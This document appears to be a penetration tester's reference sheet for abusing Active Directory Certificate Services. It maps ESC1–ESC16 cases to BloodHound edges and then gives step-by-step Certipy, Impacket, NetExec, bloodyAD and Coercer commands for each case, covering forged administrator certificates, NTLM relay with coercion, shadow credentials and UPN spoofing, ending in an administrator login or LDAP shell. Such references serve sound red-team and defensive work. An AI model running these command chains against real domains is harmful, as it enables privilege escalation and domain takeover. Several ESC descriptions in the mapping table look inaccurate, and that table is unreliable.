Certipy Reference Guide
“While Certipy is effective for AD CS-specific abuse, combining it with BloodHound provides broader attack path analysis. BloodHound offers deeper visibility into AD relationships and is particularly useful for ESCs that are vaguely defined or graph-based in nature, such as ESC5, ESC13, and ESC14. For instance, Certipy can identify templates vulnerable to ESC13 - which involve certificate templates with issuance policies linked to privileged groups via OID group links - but it does not map out the privileges obtained from that group link, as this requires contextual analysis of group memberships and permissions.”
ESC → BloodHound Edge Mapping
ESC Case | Description | BloodHound Edge(s) | Notes |
---|---|---|---|
ESC1 | Machine account creation + certificate request (e.g. addcomputer abuse) | GenericAll , GenericWrite , MachineAccountQuota |
Requires ability to add computer objects or exploit MAQ > 0. |
ESC3 | Enrollment Agent “on behalf of” certificate issuance | WriteDACL , AllExtendedRights , GenericAll |
Depends if you can modify template perms (WriteDACL) or already have enrollment rights. |
ESC4 | Dangerous template ACLs (modify enrollment rights / perms) | WriteDACL , GenericAll , WriteOwner |
Abusing ability to reconfigure templates. |
ESC7 | Adding self as Enrollment Agent or enabling templates | WriteDACL , GenericAll |
Requires modifying CA or template permissions. |
ESC8 | NTLM relay to AD CS enrollment services | — | Relay-based attack, not directly represented in BloodHound edges. |
ESC9 | Shadow Credentials via altSecurityIdentities |
GenericWrite , GenericAll |
Setting altSecurityIdentities to impersonate another principal. |
ESC10 | Weak registry config (CertificateMappingMethods, etc.) | — | Registry abuse — not represented in BloodHound edges (unless via GPO rights → GenericWrite ). |
ESC13 | Group OID linked to privileged group → cert issuance path | MemberOf , AddMember , GenericAll |
BloodHound graphing is required to trace OID group membership to privilege. |
ESC14 | altSecurityIdentities + mail attribute abuse (cert-based impersonation) | GenericWrite , GenericAll |
Typically modifying mail and altSecurityIdentities . |
ESC15 | Certificate Request Agent → request certs for other users (incl. Admins) | AllExtendedRights , GenericAll |
Requires dangerous Request Agent templates. |
ESC16 | UPN spoofing during request (set UPN to Admin, then request cert) | GenericWrite , GenericAll |
Ability to modify UPN or request certs with alternate identities. |
BloodHound Edges → ESC Mapping
BloodHound Edge | ESC Case(s) | Description / Abuse Path | Notes |
---|---|---|---|
GenericAll | ESC1, ESC3, ESC4, ESC7, ESC9, ESC13, ESC14, ESC15, ESC16 | Full control over objects including templates, users, or computers. | Covers direct full-control paths (reset pwd, add to group, set attributes, abuse templates). |
GenericWrite | ESC1, ESC9, ESC14, ESC16 | Modify key attributes like altSecurityIdentities , mail , or userPrincipalName . |
Enables impersonation and UPN spoofing. |
WriteDACL | ESC3, ESC4, ESC7 | Ability to grant self enrollment rights or modify template permissions. | Often combined with WriteOwner or GenericAll . |
WriteOwner | ESC4 | Take ownership of certificate templates or CA objects. | Can then grant self rights via WriteDACL . |
AddMember | ESC13 | Add users/groups to Enrollment Agent–linked groups via OID group memberships. | Required for ESC13 path abuse. |
AllExtendedRights | ESC3, ESC15 | Perform certificate requests (e.g., Enrollment Agent, Request Agent). | Abuses dangerous extended rights on templates. |
AllowedToDelegate | — | Not directly mapped to AD CS ESC abuses. | More relevant for RBCD/unconstrained delegation abuse outside of AD CS. |
ReadProperty | — | Not directly relevant to AD CS ESC cases. | May be used in reconnaissance (reading cert template attributes). |
Other/Utility | ESC8, ESC10 | Relay to CA (ESC8 ) or weak registry config abuse (ESC10 ). |
Not strictly BloodHound edge–based; external/host-level or relay-based attacks. |
Enumeration
Search for vulnerable certificate templates
certipy find -u username -p password -dc-ip ip -target dc -enabled -vulnerable -stdout
Find PKI Enrollment Services in Active Directory and Certificate Templates Names
nxc ldap target -u username -p password -M adcs
Anonymously use RPC endpoints to hunt for ADCS CAs
nxc smb target -M enum_ca
Attacks
ESC1
addcomputer.py domain/username:password -computer-name computer_name -computer-pass computer_password
certipy req -u computer_name -p computer_password -ca ca -target domain -template template -upn administrator -dc-ip ip
Or:
certipy req -u username -p password -ca ca -target domain -template template -upn administrator -dc-ip ip
If Minimum RSA Key Length : 4096
→ add -key-size 4096
:
certipy req -u username -p password -ca ca -target domain -template template -upn administrator -dc-ip ip -key-size 4096
Authenticate:
certipy auth -pfx administrator.pfx -domain domain -u username -dc-ip ip
Update (Feb 2025 enforcement):
certipy req -u username -p password -ca ca -target domain -template template -upn administrator -sid <administrator sid> -dc-ip ip
ESC3
certipy req -u username -p password -ca ca -target domain -template template
certipy req -u username -p password -ca ca -target domain -template User -on-behalf-of administrator -pfx pfx_file
certipy auth -pfx administrator.pfx -dc-ip ip
ESC4 (Certipy 4.8.2)
certipy template -u username -p password -template template -save-old -dc-ip ip
certipy req -u username -p password -dc-ip ip -ca ca -target dc -template template -upn administrator
certipy auth -pfx administrator.pfx -domain domain -u administrator -dc-ip ip
ESC4 (Certipy 5.0.2):
certipy template -u username@domain -p password -template template -write-default-configuration -no-save
certipy req -u username@domain -p password -ca ca -template template -upn administrator@domain
certipy auth -pfx administrator.pfx -dc-ip ip
ESC7
certipy ca -ca ca -add-officer username -u username@domain -p password -dc-ip ip -dns-tcp -ns ip
certipy ca -ca ca -enable-template SubCA -u username@domain -p password -dc-ip ip -dns-tcp -ns ip
certipy req -u username@domain -p password -ca ca -target ip -template SubCA -upn username@domain
certipy ca -ca ca -issue-request request_ID -u username@domain -p password
certipy req -u username@domain -p password -ca ca -target ip -retrieve request_ID
certipy auth -pfx pfx_file -domain domain -u username -dc-ip ip
ESC8
ntlmrelayx.py -t http://domain/certsrv/certfnsh.asp -smb2support --adcs --template template --no-http-server --no-wcf-server --no-raw-server
coercer coerce -u username -p password -l ws_ip -t dc_ip --always-continue
certipy auth -pfx administrator.pfx
ESC9
certipy shadow auto -u username@domain -hashes :hash -account target_username
certipy account update -u username@domain -hashes :hash -user target_username -upn administrator
certipy req -u target_username@domain -hashes :target_hash -ca ca -template template -target dc_ip
certipy account update -u username@domain -hashes :hash -user target_username -upn target_username
certipy auth -pfx administrator.pfx -domain domain
ESC10
Enumeration
Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\Kdc' -Name StrongCertificateBindingEnforcement
Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel' -Name CertificateMappingMethods
Exploitation (Case 2)
certipy account -u username@domain -p password -dc-ip ip -target dc -upn dc$@domain -user victim update
getTGT.py domain/victim:password -dc-ip ip
export KRB5CCNAME=victim.ccache
certipy req -k -dc-ip ip -target dc -ca ca -template User
certipy account -k -dc-ip ip -target dc -upn victim@domain -user victim update
certipy auth -pfx dc.pfx -dc-ip ip -ldap-shell
ESC13
certipy req -u username -p password -ca ca -target domain -template template -dc-ip ip
certipy auth -pfx file.pfx -dc-ip ip
ESC14 (Scenario B)
https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#4a82
bloodyAD --host dc -d domain -u username -p password set object target altSecurityIdentities -v 'X509:<RFC822>target@domain'
bloodyAD --host dc -d domain -u owned_user -p password set object target mail -v target@domain
certipy account update -u owned_user@domain -p password -user username -upn target
certipy req -u username -p password -ca ca -template template -dc-ip ip
certipy account update -u owned_user -p password -user username -upn username@domain -dc-ip ip
certipy auth -pfx pfx -dc-ip ip -user target -domain domain
ESC15
Scenario A
certipy req -u username@domain -p password -dc-ip ip -target dc -ca ca -template template -upn administrator@domain -sid <administrator sid> -application-policies 'Client Authentication'
certipy auth -pfx administrator.pfx -dc-ip ip -ldap-shell
Scenario B
certipy req -u username@domain -p password -dc-ip ip -ca ca -template WebServer -application-policies 'Certificate Request Agent'
certipy req -u username@domain -p password -dc-ip ip -ca ca -template User -pfx user.pfx -on-behalf-of 'DOMAIN\Administrator'
certipy auth -pfx administrator.pfx -dc-ip ip
ESC16
We use a user that has GenericAll
or GenericWrite
certipy account -u owned_user@domain -p password -dc-ip ip -upn administrator -user username update
certipy req -u username@domain -p password -dc-ip ip -target dc -ca ca -template User -upn administrator@domain -sid <administrator sid>
certipy account -u owned_user@domain -p password -dc-ip ip -upn username -user username update
certipy auth -pfx administrator.pfx -dc-ip ip -domain domain
Big thanks to Serioton for the ADCS Attacks with Certipy post that I based the commands off of <3